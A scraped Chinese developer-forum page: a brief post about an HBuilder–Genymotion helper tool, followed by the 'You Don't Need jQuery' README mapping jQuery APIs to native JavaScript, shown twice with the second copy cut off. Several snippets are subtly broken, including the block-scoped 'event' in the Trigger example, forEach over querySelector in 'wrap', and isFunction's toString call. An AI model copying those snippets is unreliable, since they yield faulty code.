文章 - DCloud问答

分享一个我自己写HBuilder连接Genymotion的小工具

最近在使用HBuilder写一个小软件，使用Genymotion模拟器测试的时候发现HBuilder找不到模拟器，搜索后使用命令解决了，但是每次都需要重复的操作很麻烦，可能是我比较懒吧，于是就写了这个小工具，试了几次在我的电脑上都还管用分享给大家希望你们也能使用。

继续阅读 »

You Don't Need jQuery Build Status
转自：https://github.com/wsniper/You-Dont-Need-jQuery/blob/master/README.zh-CN.md
前端发展很快，现代浏览器原生 API 已经足够好用。我们并不需要为了操作 DOM、Event 等再学习一下 jQuery 的 API。同时由于 React、Angular、Vue 等框架的流行，直接操作 DOM 不再是好的模式，jQuery 使用场景大大减少。本项目总结了大部分 jQuery API 替代的方法，暂时只支持 IE10 以上浏览器。

Translations
Query Selector
CSS & Style
DOM Manipulation
Ajax
Events
Utilities
Promises
Animation
Alternatives
Browser Support
Translations

한국어
简体中文
Bahasa Melayu
Bahasa Indonesia
Português(PT-BR)
Tiếng Việt Nam
Español
Русский
Кыргызча
Türkçe
Italiano
Français
日本語
Polski
Query Selector

常用的 class、id、属性选择器都可以使用 document.querySelector 或 document.querySelectorAll 替代。区别是

document.querySelector 返回第一个匹配的 Element
document.querySelectorAll 返回所有匹配的 Element 组成的 NodeList。它可以通过 [].slice.call() 把它转成 Array
如果匹配不到任何 Element，jQuery 返回空数组 []，但 document.querySelector 返回 null，注意空指针异常。当找不到时，也可以使用 || 设置默认的值，如 document.querySelectorAll(selector) || []
注意：document.querySelector 和 document.querySelectorAll 性能很差。如果想提高性能，尽量使用 document.getElementById、document.getElementsByClassName 或 document.getElementsByTagName。
1.0 选择器查询

// jQuery
$('selector');

// Native
document.querySelectorAll('selector');
1.1 class 查询

// jQuery
$('.class');

// Native
document.querySelectorAll('.class');

// or
document.getElementsByClassName('class');
1.2 id 查询

// jQuery
$('#id');

// Native
document.querySelector('#id');

// or
document.getElementById('id');
1.3 属性查询

// jQuery
$('a[target=_blank]');

// Native
document.querySelectorAll('a[target=_blank]');
1.4 后代查询

// jQuery
$el.find('li');

// Native
el.querySelectorAll('li');
1.5 兄弟及上下元素

兄弟元素

// jQuery
$el.siblings();

// Native - latest, Edge13+
[...el.parentNode.children].filter((child) =>
child !== el
);
// Native (alternative) - latest, Edge13+
Array.from(el.parentNode.children).filter((child) =>
child !== el
);
// Native - IE10+
Array.prototype.filter.call(el.parentNode.children, (child) =>
child !== el
);
上一个元素

// jQuery
$el.prev();

// Native
el.previousElementSibling;
下一个元素

// next
$el.next();

// Native
el.nextElementSibling;
1.6 Closest

Closest 获得匹配选择器的第一个祖先元素，从当前元素开始沿 DOM 树向上。

// jQuery
$el.closest(queryString);

// Native - Only latest, NO IE
el.closest(selector);

// Native - IE10+
function closest(el, selector) {
const matchesSelector = el.matches || el.webkitMatchesSelector || el.mozMatchesSelector || el.msMatchesSelector;

while (el) {
if (matchesSelector.call(el, selector)) {
return el;
} else {
el = el.parentElement;
}
}
return null;
}
1.7 Parents Until

获取当前每一个匹配元素集的祖先，不包括匹配元素的本身。

// jQuery
$el.parentsUntil(selector, filter);

// Native
function parentsUntil(el, selector, filter) {
const result = [];
const matchesSelector = el.matches || el.webkitMatchesSelector || el.mozMatchesSelector || el.msMatchesSelector;

// match start from parent
el = el.parentElement;
while (el && !matchesSelector.call(el, selector)) {
if (!filter) {
result.push(el);
} else {
if (matchesSelector.call(el, filter)) {
result.push(el);
}
}
el = el.parentElement;
}
return result;
}
1.8 Form

Input/Textarea

// jQuery
$('#my-input').val();

// Native
document.querySelector('#my-input').value;
获取 e.currentTarget 在 .radio 中的数组索引

// jQuery
$('.radio').index(e.currentTarget);

// Native
Array.prototype.indexOf.call(document.querySelectorAll('.radio'), e.currentTarget);
1.9 Iframe Contents

jQuery 对象的 iframe contents() 返回的是 iframe 内的 document

Iframe contents

// jQuery
$iframe.contents();

// Native
iframe.contentDocument;
Iframe Query

// jQuery
$iframe.contents().find('.css');

// Native
iframe.contentDocument.querySelectorAll('.css');
1.10 获取 body

// jQuery
$('body');

// Native
document.body;
1.11 获取或设置属性

获取属性

// jQuery
$el.attr('foo');

// Native
el.getAttribute('foo');
设置属性

// jQuery, note that this works in memory without change the DOM
$el.attr('foo', 'bar');

// Native
el.setAttribute('foo', 'bar');
获取 data- 属性

// jQuery
$el.data('foo');

// Native (use getAttribute)
el.getAttribute('data-foo');

// Native (use dataset if only need to support IE 11+)
el.dataset['foo'];
⬆ 回到顶部

CSS & Style

2.1 CSS

Get style

// jQuery
$el.css("color");

// Native
// 注意：此处为了解决当 style 值为 auto 时，返回 auto 的问题
const win = el.ownerDocument.defaultView;

// null 的意思是不返回伪类元素
win.getComputedStyle(el, null).color;
Set style

// jQuery
$el.css({ color: "#ff0011" });

// Native
el.style.color = '#ff0011';
Get/Set Styles

注意，如果想一次设置多个 style，可以参考 oui-dom-utils 中 setStyles 方法

Add class

// jQuery
$el.addClass(className);

// Native
el.classList.add(className);
Remove class

// jQuery
$el.removeClass(className);

// Native
el.classList.remove(className);
has class

// jQuery
$el.hasClass(className);

// Native
el.classList.contains(className);
Toggle class

// jQuery
$el.toggleClass(className);

// Native
el.classList.toggle(className);
2.2 Width & Height

Width 与 Height 获取方法相同，下面以 Height 为例：

Window height

// window height
$(window).height();

// 含 scrollbar
window.document.documentElement.clientHeight;

// 不含 scrollbar，与 jQuery 行为一致
window.innerHeight;
Document height

// jQuery
$(document).height();

// Native
const body = document.body;
const html = document.documentElement;
const height = Math.max(
body.offsetHeight,
body.scrollHeight,
html.clientHeight,
html.offsetHeight,
html.scrollHeight
);
Element height

// jQuery
$el.height();

// Native
function getHeight(el) {
const styles = this.getComputedStyle(el);
const height = el.offsetHeight;
const borderTopWidth = parseFloat(styles.borderTopWidth);
const borderBottomWidth = parseFloat(styles.borderBottomWidth);
const paddingTop = parseFloat(styles.paddingTop);
const paddingBottom = parseFloat(styles.paddingBottom);
return height - borderBottomWidth - borderTopWidth - paddingTop - paddingBottom;
}

// 精确到整数（border-box 时为 height - border 值，content-box 时为 height + padding 值）
el.clientHeight;

// 精确到小数（border-box 时为 height 值，content-box 时为 height + padding + border 值）
el.getBoundingClientRect().height;
2.3 Position & Offset

Position

获得匹配元素相对父元素的偏移

// jQuery
$el.position();

// Native
{ left: el.offsetLeft, top: el.offsetTop }
Offset

获得匹配元素相对文档的偏移

// jQuery
$el.offset();

// Native
function getOffset (el) {
const box = el.getBoundingClientRect();

return {
top: box.top + window.pageYOffset - document.documentElement.clientTop,
left: box.left + window.pageXOffset - document.documentElement.clientLeft
}
}
2.4 Scroll Top

获取元素滚动条垂直位置。

// jQuery
$(window).scrollTop();

// Native
(document.documentElement && document.documentElement.scrollTop) || document.body.scrollTop;
⬆ 回到顶部

DOM Manipulation

3.1 Remove

从 DOM 中移除元素。

// jQuery
$el.remove();

// Native
el.parentNode.removeChild(el);
3.2 Text

Get text

返回指定元素及其后代的文本内容。

// jQuery
$el.text();

// Native
el.textContent;
Set text

设置元素的文本内容。

// jQuery
$el.text(string);

// Native
el.textContent = string;
3.3 HTML

Get HTML

// jQuery
$el.html();

// Native
el.innerHTML;
Set HTML

// jQuery
$el.html(htmlString);

// Native
el.innerHTML = htmlString;
3.4 Append

Append 插入到子节点的末尾

// jQuery
$el.append("<div id='container'>hello</div>");

// Native (HTML string)
el.insertAdjacentHTML('beforeend', '<div id="container">Hello World</div>');

// Native (Element)
el.appendChild(newEl);
3.5 Prepend

// jQuery
$el.prepend("<div id='container'>hello</div>");

// Native (HTML string)
el.insertAdjacentHTML('afterbegin', '<div id="container">Hello World</div>');

// Native (Element)
el.insertBefore(newEl, el.firstChild);
3.6 insertBefore

在选中元素前插入新节点

// jQuery
$newEl.insertBefore(queryString);

// Native (HTML string)
el.insertAdjacentHTML('beforebegin ', '<div id="container">Hello World</div>');

// Native (Element)
const el = document.querySelector(selector);
if (el.parentNode) {
el.parentNode.insertBefore(newEl, el);
}
3.7 insertAfter

在选中元素后插入新节点

// jQuery
$newEl.insertAfter(queryString);

// Native (HTML string)
el.insertAdjacentHTML('afterend', '<div id="container">Hello World</div>');

// Native (Element)
const el = document.querySelector(selector);
if (el.parentNode) {
el.parentNode.insertBefore(newEl, el.nextSibling);
}
3.8 is

如果匹配给定的选择器，返回true

// jQuery
$el.is(selector);

// Native
el.matches(selector);
3.9 clone

深拷贝被选元素。（生成被选元素的副本，包含子节点、文本和属性。）

//jQuery
$el.clone();

//Native
el.cloneNode();
//深拷贝添加参数‘true’ ```

3.10 empty

移除所有子节点

//jQuery
$el.empty();

//Native
el.innerHTML = '';
3.11 wrap
把每个被选元素放置在指定的HTML结构中。

//jQuery
$(".inner").wrap('<div class="wrapper"></div>');

//Native
Array.prototype.forEach.call(document.querySelector('.inner'), (el) => {
const wrapper = document.createElement('div');
wrapper.className = 'wrapper';
el.parentNode.insertBefore(wrapper, el);
el.parentNode.removeChild(el);
wrapper.appendChild(el);
});
3.12 unwrap

把被选元素的父元素移除DOM结构

// jQuery
$('.inner').unwrap();

// Native
Array.prototype.forEach.call(document.querySelectorAll('.inner'), (el) => {
Array.prototype.forEach.call(el.childNodes, (child) => {
el.parentNode.insertBefore(child, el);
});
el.parentNode.removeChild(el);
});
3.13 replaceWith

用指定的元素替换被选的元素

//jQuery
$('.inner').replaceWith('<div class="outer"></div>');

//Native
Array.prototype.forEach.call(document.querySelectorAll('.inner'),(el) => {
const outer = document.createElement("div");
outer.className = "outer";
el.parentNode.insertBefore(outer, el);
el.parentNode.removeChild(el);
});
3.14 simple parse

解析 HTML/SVG/XML 字符串

// jQuery
$(<ol> <li>a</li> <li>b</li> </ol> <ol> <li>c</li> <li>d</li> </ol>);

// Native
range = document.createRange();
parse = range.createContextualFragment.bind(range);

parse(<ol> <li>a</li> <li>b</li> </ol> <ol> <li>c</li> <li>d</li> </ol>);
⬆ 回到顶部

Ajax

Fetch API 是用于替换 XMLHttpRequest 处理 ajax 的新标准，Chrome 和 Firefox 均支持，旧浏览器可以使用 polyfills 提供支持。

IE9+ 请使用 github/fetch，IE8+ 请使用 fetch-ie8，JSONP 请使用 fetch-jsonp。

4.1 从服务器读取数据并替换匹配元素的内容。

// jQuery
$(selector).load(url, completeCallback)

// Native
fetch(url).then(data => data.text()).then(data => {
document.querySelector(selector).innerHTML = data
}).then(completeCallback)
⬆ 回到顶部

Events

完整地替代命名空间和事件代理，链接到 https://github.com/oneuijs/oui-dom-events

5.0 Document ready by DOMContentLoaded

// jQuery
$(document).ready(eventHandler);

// Native
// 检测 DOMContentLoaded 是否已完成
if (document.readyState === 'complete' || document.readyState !== 'loading') {
eventHandler();
} else {
document.addEventListener('DOMContentLoaded', eventHandler);
}
5.1 使用 on 绑定事件

// jQuery
$el.on(eventName, eventHandler);

// Native
el.addEventListener(eventName, eventHandler);
5.2 使用 off 解绑事件

// jQuery
$el.off(eventName, eventHandler);

// Native
el.removeEventListener(eventName, eventHandler);
5.3 Trigger

// jQuery
$(el).trigger('custom-event', {key1: 'data'});

// Native
if (window.CustomEvent) {
const event = new CustomEvent('custom-event', {detail: {key1: 'data'}});
} else {
const event = document.createEvent('CustomEvent');
event.initCustomEvent('custom-event', true, true, {key1: 'data'});
}

el.dispatchEvent(event);
⬆ 回到顶部

Utilities

大部分实用工具都能在 native API 中找到. 其他高级功能可以选用专注于该领域的稳定性和性能都更好的库来代替，推荐 lodash。

6.1 基本工具

isArray
检测参数是不是数组。

// jQuery
$.isArray(range);

// Native
Array.isArray(range);
isWindow
检测参数是不是 window。

// jQuery
$.isWindow(obj);

// Native
function isWindow(obj) {
return obj !== null && obj !== undefined && obj === obj.window;
}
inArray
在数组中搜索指定值并返回索引 (找不到则返回 -1)。

// jQuery
$.inArray(item, array);

// Native
array.indexOf(item) > -1;

// ES6-way
array.includes(item);
isNumeric
检测传入的参数是不是数字。 Use typeof to decide the type or the type example for better accuracy.

// jQuery
$.isNumeric(item);

// Native
function isNumeric(value) {
var type = typeof value;

return (type === 'number' || type === 'string') && !Number.isNaN(value - Number.parseFloat(value));
}
isFunction
检测传入的参数是不是 JavaScript 函数对象。

// jQuery
$.isFunction(item);

// Native
function isFunction(item) {
if (typeof item === 'function') {
return true;
}
var type = Object.prototype.toString(item);
return type === '[object Function]' || type === '[object GeneratorFunction]';
}
isEmptyObject
检测对象是否为空 (包括不可枚举属性).

// jQuery
$.isEmptyObject(obj);

// Native
function isEmptyObject(obj) {
return Object.keys(obj).length === 0;
}
isPlainObject
检测是不是扁平对象 (使用 “{}” 或 “new Object” 创建).

// jQuery
$.isPlainObject(obj);

// Native
function isPlainObject(obj) {
if (typeof (obj) !== 'object' || obj.nodeType || obj !== null && obj !== undefined && obj === obj.window) {
return false;
}

if (obj.constructor &&
!Object.prototype.hasOwnProperty.call(obj.constructor.prototype, 'isPrototypeOf')) {
return false;
}

return true;
}
extend
合并多个对象的内容到第一个对象。 object.assign 是 ES6 API，也可以使用 polyfill。

// jQuery
$.extend({}, defaultOpts, opts);

// Native
Object.assign({}, defaultOpts, opts);
trim
移除字符串头尾空白。

// jQuery
$.trim(string);

// Native
string.trim();
map
将数组或对象转化为包含新内容的数组。

// jQuery
$.map(array, (value, index) => {
});

// Native
array.map((value, index) => {
});
each
轮询函数，可用于平滑的轮询对象和数组。

// jQuery
$.each(array, (index, value) => {
});

// Native
array.forEach((value, index) => {
});
grep
找到数组中符合过滤函数的元素。

// jQuery
$.grep(array, (value, index) => {
});

// Native
array.filter((value, index) => {
});
type
检测对象的 JavaScript [Class] 内部类型。

// jQuery
$.type(obj);

// Native
function type(item) {
const reTypeOf = /(?:^[object\s(.*?)]$)/;
return Object.prototype.toString.call(item)
.replace(reTypeOf, '$1')
.toLowerCase();
}
merge
合并第二个数组内容到第一个数组。

// jQuery
$.merge(array1, array2);

// Native
// But concat function doesn't remove duplicate items.
function merge(...args) {
return [].concat(...args)
}
now
返回当前时间的数字呈现。

// jQuery
$.now();

// Native
Date.now();
proxy
传入函数并返回一个新函数，该函数绑定指定上下文。

// jQuery
$.proxy(fn, context);

// Native
fn.bind(context);
makeArray
类数组对象转化为真正的 JavaScript 数组。

// jQuery
$.makeArray(arrayLike);

// Native
Array.prototype.slice.call(arrayLike);

// ES6-way
Array.from(arrayLike);
6.2 包含

检测 DOM 元素是不是其他 DOM 元素的后代.

// jQuery
$.contains(el, child);

// Native
el !== child && el.contains(child);
6.3 Globaleval

全局执行 JavaScript 代码。

// jQuery
$.globaleval(code);

// Native
function Globaleval(code) {
const script = document.createElement('script');
script.text = code;

document.head.appendChild(script).parentNode.removeChild(script);
}

// Use eval, but context of eval is current, context of $.Globaleval is global.
eval(code);
6.4 解析

parseHTML
解析字符串为 DOM 节点数组.

// jQuery
$.parseHTML(htmlString);

// Native
function parseHTML(string) {
const context = document.implementation.createHTMLDocument();

// Set the base href for the created document so any parsed elements with URLs
// are based on the document's URL
const base = context.createElement('base');
base.href = document.location.href;
context.head.appendChild(base);

context.body.innerHTML = string;
return context.body.children;
}
parseJSON
传入格式正确的 JSON 字符串并返回 JavaScript 值.

// jQuery
$.parseJSON(str);

// Native
JSON.parse(str);
⬆ 回到顶部

Promises

Promise 代表异步操作的最终结果。jQuery 用它自己的方式处理 promises，原生 JavaScript 遵循 Promises/A+ 标准实现了最小 API 来处理 promises。

7.1 done, fail, always

done 会在 promise 解决时调用，fail 会在 promise 拒绝时调用，always 总会调用。

// jQuery
$promise.done(doneCallback).fail(failCallback).always(alwaysCallback)

// Native
promise.then(doneCallback, failCallback).then(alwaysCallback, alwaysCallback)
7.2 when

when 用于处理多个 promises。当全部 promises 被解决时返回，当任一 promise 被拒绝时拒绝。

// jQuery
$.when($promise1, $promise2).done((promise1Result, promise2Result) => {
});

// Native
Promise.all([$promise1, $promise2]).then([promise1Result, promise2Result] => {});
7.3 Deferred

Deferred 是创建 promises 的一种方式。

// jQuery
function asyncFunc() {
const defer = new $.Deferred();
setTimeout(() => {
if(true) {
defer.resolve('some_value_computed_asynchronously');
} else {
defer.reject('failed');
}
}, 1000);

return defer.promise();
}

// Native
function asyncFunc() {
return new Promise((resolve, reject) => {
setTimeout(() => {
if (true) {
resolve('some_value_computed_asynchronously');
} else {
reject('failed');
}
}, 1000);
});
}

// Deferred way
function defer() {
const deferred = {};
const promise = new Promise((resolve, reject) => {
deferred.resolve = resolve;
deferred.reject = reject;
});

deferred.promise = () => {
return promise;
};

return deferred;
}

function asyncFunc() {
const defer = defer();
setTimeout(() => {
if(true) {
defer.resolve('some_value_computed_asynchronously');
} else {
defer.reject('failed');
}
}, 1000);

return defer.promise();
}
⬆ 回到顶部

Animation

8.1 Show & Hide

// jQuery
$el.show();
$el.hide();

// Native
// 更多 show 方法的细节详见 https://github.com/oneuijs/oui-dom-utils/blob/master/src/index.js#L363
el.style.display = ''|'inline'|'inline-block'|'inline-table'|'block';
el.style.display = 'none';
8.2 Toggle

显示或隐藏元素。

// jQuery
$el.toggle();

// Native
if (el.ownerDocument.defaultView.getComputedStyle(el, null).display === 'none') {
el.style.display = ''|'inline'|'inline-block'|'inline-table'|'block';
} else {
el.style.display = 'none';
}
8.3 FadeIn & FadeOut

// jQuery
$el.fadeIn(3000);
$el.fadeOut(3000);

// Native
el.style.transition = 'opacity 3s';
// fadeIn
el.style.opacity = '1';
// fadeOut
el.style.opacity = '0';
8.4 FadeTo

调整元素透明度。

// jQuery
$el.fadeTo('slow',0.15);
// Native
el.style.transition = 'opacity 3s'; // 假设 'slow' 等于 3 秒
el.style.opacity = '0.15';
8.5 FadeToggle

动画调整透明度用来显示或隐藏。

// jQuery
$el.fadeToggle();

// Native
el.style.transition = 'opacity 3s';
const { opacity } = el.ownerDocument.defaultView.getComputedStyle(el, null);
if (opacity === '1') {
el.style.opacity = '0';
} else {
el.style.opacity = '1';
}
8.6 SlideUp & SlideDown

// jQuery
$el.slideUp();
$el.slideDown();

// Native
const originHeight = '100px';
el.style.transition = 'height 3s';
// slideUp
el.style.height = '0px';
// slideDown
el.style.height = originHeight;
8.7 SlideToggle

滑动切换显示或隐藏。

// jQuery
$el.slideToggle();

// Native
const originHeight = '100px';
el.style.transition = 'height 3s';
const { height } = el.ownerDocument.defaultView.getComputedStyle(el, null);
if (parseInt(height, 10) === 0) {
el.style.height = originHeight;
}
else {
el.style.height = '0px';
}
8.8 Animate

执行一系列 CSS 属性动画。

// jQuery
$el.animate({ params }, speed);

// Native
el.style.transition = 'all ' + speed;
Object.keys(params).forEach((key) =>
el.style[key] = params[key];
)
⬆ 回到顶部

Alternatives

你可能不需要 jQuery (You Might Not Need jQuery) - 如何使用原生 JavaScript 实现通用事件，元素，ajax 等用法。
npm-dom 以及 webmodules - 在 NPM 上提供独立 DOM 模块的组织
Browser Support

Chrome Firefox IE Opera Safari
Latest ✔ Latest ✔ 10+ ✔ Latest ✔ 6.1+ ✔
License

MIT

继续阅读 »

You Don't Need jQuery Build Status
转自：https://github.com/wsniper/You-Dont-Need-jQuery/blob/master/README.zh-CN.md
前端发展很快，现代浏览器原生 API 已经足够好用。我们并不需要为了操作 DOM、Event 等再学习一下 jQuery 的 API。同时由于 React、Angular、Vue 等框架的流行，直接操作 DOM 不再是好的模式，jQuery 使用场景大大减少。本项目总结了大部分 jQuery API 替代的方法，暂时只支持 IE10 以上浏览器。

Translations
Query Selector
CSS & Style
DOM Manipulation
Ajax
Events
Utilities
Promises
Animation
Alternatives
Browser Support
Translations

한국어
简体中文
Bahasa Melayu
Bahasa Indonesia
Português(PT-BR)
Tiếng Việt Nam
Español
Русский
Кыргызча
Türkçe
Italiano
Français
日本語
Polski
Query Selector

常用的 class、id、属性选择器都可以使用 document.querySelector 或 document.querySelectorAll 替代。区别是

document.querySelector 返回第一个匹配的 Element
document.querySelectorAll 返回所有匹配的 Element 组成的 NodeList。它可以通过 [].slice.call() 把它转成 Array
如果匹配不到任何 Element，jQuery 返回空数组 []，但 document.querySelector 返回 null，注意空指针异常。当找不到时，也可以使用 || 设置默认的值，如 document.querySelectorAll(selector) || []
注意：document.querySelector 和 document.querySelectorAll 性能很差。如果想提高性能，尽量使用 document.getElementById、document.getElementsByClassName 或 document.getElementsByTagName。
1.0 选择器查询

// jQuery
$('selector');

// Native
document.querySelectorAll('selector');
1.1 class 查询

// jQuery
$('.class');

// Native
document.querySelectorAll('.class');

// or
document.getElementsByClassName('class');
1.2 id 查询

// jQuery
$('#id');

// Native
document.querySelector('#id');

// or
document.getElementById('id');
1.3 属性查询

// jQuery
$('a[target=_blank]');

// Native
document.querySelectorAll('a[target=_blank]');
1.4 后代查询

// jQuery
$el.find('li');

// Native
el.querySelectorAll('li');
1.5 兄弟及上下元素

兄弟元素

// jQuery
$el.siblings();

// Native - latest, Edge13+
[...el.parentNode.children].filter((child) =>
child !== el
);
// Native (alternative) - latest, Edge13+
Array.from(el.parentNode.children).filter((child) =>
child !== el
);
// Native - IE10+
Array.prototype.filter.call(el.parentNode.children, (child) =>
child !== el
);
上一个元素

// jQuery
$el.prev();

// Native
el.previousElementSibling;
下一个元素

// next
$el.next();

// Native
el.nextElementSibling;
1.6 Closest

Closest 获得匹配选择器的第一个祖先元素，从当前元素开始沿 DOM 树向上。

// jQuery
$el.closest(queryString);

// Native - Only latest, NO IE
el.closest(selector);

// Native - IE10+
function closest(el, selector) {
const matchesSelector = el.matches || el.webkitMatchesSelector || el.mozMatchesSelector || el.msMatchesSelector;

while (el) {
if (matchesSelector.call(el, selector)) {
return el;
} else {
el = el.parentElement;
}
}
return null;
}
1.7 Parents Until

获取当前每一个匹配元素集的祖先，不包括匹配元素的本身。

// jQuery
$el.parentsUntil(selector, filter);

// Native
function parentsUntil(el, selector, filter) {
const result = [];
const matchesSelector = el.matches || el.webkitMatchesSelector || el.mozMatchesSelector || el.msMatchesSelector;

// match start from parent
el = el.parentElement;
while (el && !matchesSelector.call(el, selector)) {
if (!filter) {
result.push(el);
} else {
if (matchesSelector.call(el, filter)) {
result.push(el);
}
}
el = el.parentElement;
}
return result;
}
1.8 Form

Input/Textarea

// jQuery
$('#my-input').val();

// Native
document.querySelector('#my-input').value;
获取 e.currentTarget 在 .radio 中的数组索引

// jQuery
$('.radio').index(e.currentTarget);

// Native
Array.prototype.indexOf.call(document.querySelectorAll('.radio'), e.currentTarget);
1.9 Iframe Contents

jQuery 对象的 iframe contents() 返回的是 iframe 内的 document

Iframe contents

// jQuery
$iframe.contents();

// Native
iframe.contentDocument;
Iframe Query

// jQuery
$iframe.contents().find('.css');

// Native
iframe.contentDocument.querySelectorAll('.css');
1.10 获取 body

// jQuery
$('body');

// Native
document.body;
1.11 获取或设置属性

获取属性

// jQuery
$el.attr('foo');

// Native
el.getAttribute('foo');
设置属性

// jQuery, note that this works in memory without change the DOM
$el.attr('foo', 'bar');

// Native
el.setAttribute('foo', 'bar');
获取 data- 属性

// jQuery
$el.data('foo');

// Native (use getAttribute)
el.getAttribute('data-foo');

// Native (use dataset if only need to support IE 11+)
el.dataset['foo'];
⬆ 回到顶部

CSS & Style

2.1 CSS

Get style

// jQuery
$el.css("color");

// Native
// 注意：此处为了解决当 style 值为 auto 时，返回 auto 的问题
const win = el.ownerDocument.defaultView;

// null 的意思是不返回伪类元素
win.getComputedStyle(el, null).color;
Set style

// jQuery
$el.css({ color: "#ff0011" });

// Native
el.style.color = '#ff0011';
Get/Set Styles

注意，如果想一次设置多个 style，可以参考 oui-dom-utils 中 setStyles 方法

Add class

// jQuery
$el.addClass(className);

// Native
el.classList.add(className);
Remove class

// jQuery
$el.removeClass(className);

// Native
el.classList.remove(className);
has class

// jQuery
$el.hasClass(className);

// Native
el.classList.contains(className);
Toggle class

// jQuery
$el.toggleClass(className);

// Native
el.classList.toggle(className);
2.2 Width & Height

Width 与 Height 获取方法相同，下面以 Height 为例：

Window height

// window height
$(window).height();

// 含 scrollbar
window.document.documentElement.clientHeight;

// 不含 scrollbar，与 jQuery 行为一致
window.innerHeight;
Document height

// jQuery
$(document).height();

// Native
const body = document.body;
const html = document.documentElement;
const height = Math.max(
body.offsetHeight,
body.scrollHeight,
html.clientHeight,
html.offsetHeight,
html.scrollHeight
);
Element height

// jQuery
$el.height();

// Native
function getHeight(el) {
const styles = this.getComputedStyle(el);
const height = el.offsetHeight;
const borderTopWidth = parseFloat(styles.borderTopWidth);
const borderBottomWidth = parseFloat(styles.borderBottomWidth);
const paddingTop = parseFloat(styles.paddingTop);
const paddingBottom = parseFloat(styles.paddingBottom);
return height - borderBottomWidth - borderTopWidth - paddingTop - paddingBottom;
}

// 精确到整数（border-box 时为 height - border 值，content-box 时为 height + padding 值）
el.clientHeight;

// 精确到小数（border-box 时为 height 值，content-box 时为 height + padding + border 值）
el.getBoundingClientRect().height;
2.3 Position & Offset

Position

获得匹配元素相对父元素的偏移

// jQuery
$el.position();

// Native
{ left: el.offsetLeft, top: el.offsetTop }
Offset

获得匹配元素相对文档的偏移

// jQuery
$el.offset();

// Native
function getOffset (el) {
const box = el.getBoundingClientRect();

return {
top: box.top + window.pageYOffset - document.documentElement.clientTop,
left: box.left + window.pageXOffset - document.documentElement.clientLeft
}
}
2.4 Scroll Top

获取元素滚动条垂直位置。

// jQuery
$(window).scrollTop();

// Native
(document.documentElement && document.documentElement.scrollTop) || document.body.scrollTop;
⬆ 回到顶部

DOM Manipulation

3.1 Remove

从 DOM 中移除元素。

// jQuery
$el.remove();

// Native
el.parentNode.removeChild(el);
3.2 Text

Get text

返回指定元素及其后代的文本内容。

// jQuery
$el.text();

// Native
el.textContent;
Set text

设置元素的文本内容。

// jQuery
$el.text(string);

// Native
el.textContent = string;
3.3 HTML

Get HTML

// jQuery
$el.html();

// Native
el.innerHTML;
Set HTML

// jQuery
$el.html(htmlString);

// Native
el.innerHTML = htmlString;
3.4 Append

Append 插入到子节点的末尾

// jQuery
$el.append("<div id='container'>hello</div>");

// Native (HTML string)
el.insertAdjacentHTML('beforeend', '<div id="container">Hello World</div>');

// Native (Element)
el.appendChild(newEl);
3.5 Prepend

// jQuery
$el.prepend("<div id='container'>hello</div>");

// Native (HTML string)
el.insertAdjacentHTML('afterbegin', '<div id="container">Hello World</div>');

// Native (Element)
el.insertBefore(newEl, el.firstChild);
3.6 insertBefore

在选中元素前插入新节点

// jQuery
$newEl.insertBefore(queryString);

// Native (HTML string)
el.insertAdjacentHTML('beforebegin ', '<div id="container">Hello World</div>');

// Native (Element)
const el = document.querySelector(selector);
if (el.parentNode) {
el.parentNode.insertBefore(newEl, el);
}
3.7 insertAfter

在选中元素后插入新节点

// jQuery
$newEl.insertAfter(queryString);

// Native (HTML string)
el.insertAdjacentHTML('afterend', '<div id="container">Hello World</div>');

// Native (Element)
const el = document.querySelector(selector);
if (el.parentNode) {
el.parentNode.insertBefore(newEl, el.nextSibling);
}
3.8 is

如果匹配给定的选择器，返回true

// jQuery
$el.is(selector);

// Native
el.matches(selector);
3.9 clone

深拷贝被选元素。（生成被选元素的副本，包含子节点、文本和属性。）

//jQuery
$el.clone();

//Native
el.cloneNode();
//深拷贝添加参数‘true’ ```

3.10 empty

移除所有子节点

//jQuery
$el.empty();

//Native
el.innerHTML = '';
3.11 wrap
把每个被选元素放置在指定的HTML结构中。

//jQuery
$(".inner").wrap('<div class="wrapper"></div>');

//Native
Array.prototype.forEach.call(document.querySelector('.inner'), (el) => {
const wrapper = document.createElement('div');
wrapper.className = 'wrapper';
el.parentNode.insertBefore(wrapper, el);
el.parentNode.removeChild(el);
wrapper.appendChild(el);
});
3.12 unwrap

把被选元素的父元素移除DOM结构

// jQuery
$('.inner').unwrap();

// Native
Array.prototype.forEach.call(document.querySelectorAll('.inner'), (el) => {
Array.prototype.forEach.call(el.childNodes, (child) => {
el.parentNode.insertBefore(child, el);
});
el.parentNode.removeChild(el);
});
3.13 replaceWith

用指定的元素替换被选的元素

//jQuery
$('.inner').replaceWith('<div class="outer"></div>');

//Native
Array.prototype.forEach.call(document.querySelectorAll('.inner'),(el) => {
const outer = document.createElement("div");
outer.className = "outer";
el.parentNode.insertBefore(outer, el);
el.parentNode.removeChild(el);
});
3.14 simple parse

解析 HTML/SVG/XML 字符串

// jQuery
$(<ol> <li>a</li> <li>b</li> </ol> <ol> <li>c</li> <li>d</li> </ol>);

// Native
range = document.createRange();
parse = range.createContextualFragment.bind(range);

parse(<ol> <li>a</li> <li>b</li> </ol> <ol> <li>c</li> <li>d</li> </ol>);
⬆ 回到顶部

Ajax

Fetch API 是用于替换 XMLHttpRequest 处理 ajax 的新标准，Chrome 和 Firefox 均支持，旧浏览器可以使用 polyfills 提供支持。

IE9+ 请使用 github/fetch，IE8+ 请使用 fetch-ie8，JSONP 请使用 fetch-jsonp。

4.1 从服务器读取数据并替换匹配元素的内容。

// jQuery
$(selector).load(url, completeCallback)

// Native
fetch(url).then(data => data.text()).then(data => {
document.querySelector(selector).innerHTML = data
}).then(completeCallback)
⬆ 回到顶部

Events

完整地替代命名空间和事件代理，链接到 https://github.com/oneuijs/oui-dom-events

5.0 Document ready by DOMContentLoaded

// jQuery
$(document).ready(eventHandler);

// Native
// 检测 DOMContentLoaded 是否已完成
if (document.readyState === 'complete' || document.readyState !== 'loading') {
eventHandler();
} else {
document.addEventListener('DOMContentLoaded', eventHandler);
}
5.1 使用 on 绑定事件

// jQuery
$el.on(eventName, eventHandler);

// Native
el.addEventListener(eventName, eventHandler);
5.2 使用 off 解绑事件

// jQuery
$el.off(eventName, eventHandler);

// Native
el.removeEventListener(eventName, eventHandler);
5.3 Trigger

// jQuery
$(el).trigger('custom-event', {key1: 'data'});

// Native
if (window.CustomEvent) {
const event = new CustomEvent('custom-event', {detail: {key1: 'data'}});
} else {
const event = document.createEvent('CustomEvent');
event.initCustomEvent('custom-event', true, true, {key1: 'data'});
}

el.dispatchEvent(event);
⬆ 回到顶部

Utilities

